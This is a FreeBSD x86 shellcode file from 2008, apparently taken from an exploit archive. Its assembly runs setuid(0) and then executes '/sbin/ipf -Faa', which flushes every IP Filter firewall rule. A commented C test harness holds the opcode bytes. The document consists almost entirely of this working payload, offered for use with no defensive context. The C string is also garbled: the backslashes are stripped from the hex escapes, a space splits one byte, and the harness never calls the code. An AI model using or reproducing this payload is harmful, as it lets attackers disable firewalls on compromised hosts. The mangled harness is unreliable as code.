; sm4x - 2008
; setuid(0); execve("//sbin/ipf", {"//sbin/ipf", "-Faa", 0}, 0);
; 57 bytes
; FreeBSD 7.0-RELEASE

global _start

_start:
main:

; --------------------- setuid (0)
xor     eax, eax
xor     ecx, ecx
push    eax
push        eax
mov     al, 0x17
int     0x80
; --------------------- -Faa
xor     eax, eax
push    eax
push    0x6161462d      ; -Faa
mov     ecx, esp

; --------------------- setup //sbin/ipf
push    eax
push    word 0x6670
push    0x692f6e69
push    0x62732f2f
mov     ebx, esp

; ---------------------- array setup
push    eax
push    ecx
push    ebx
mov     ecx, esp

; ---------------------- call to execve
push    eax
push    ecx
push    ebx

mov     al, 0x3b
push    eax
int     0x80

xor     eax, eax
push    eax
push    eax
int     0x80

/*

char code[] = "x31xc0x31xc9x50x50xb0x17xcd    x80"
                              "x31xc0x50x68x2dx46x61x61x89xe1"
                              "x50x66x68x70x66x68x69x6ex2fx69"
                              "x68x2fx2fx73x62x89xe3x50x51x53"
                              "x89xe1x50x51x53xb0x3bx50xcdx80"
                              "x31xc0x50x50xcdx80";

int main(int argc, char **argv) {
        int (*func)();
        printf("Bytes: %dn", sizeof(code));
        func = (int (*)()) code;
}

*/

// www.Syue.com [2008-08-21]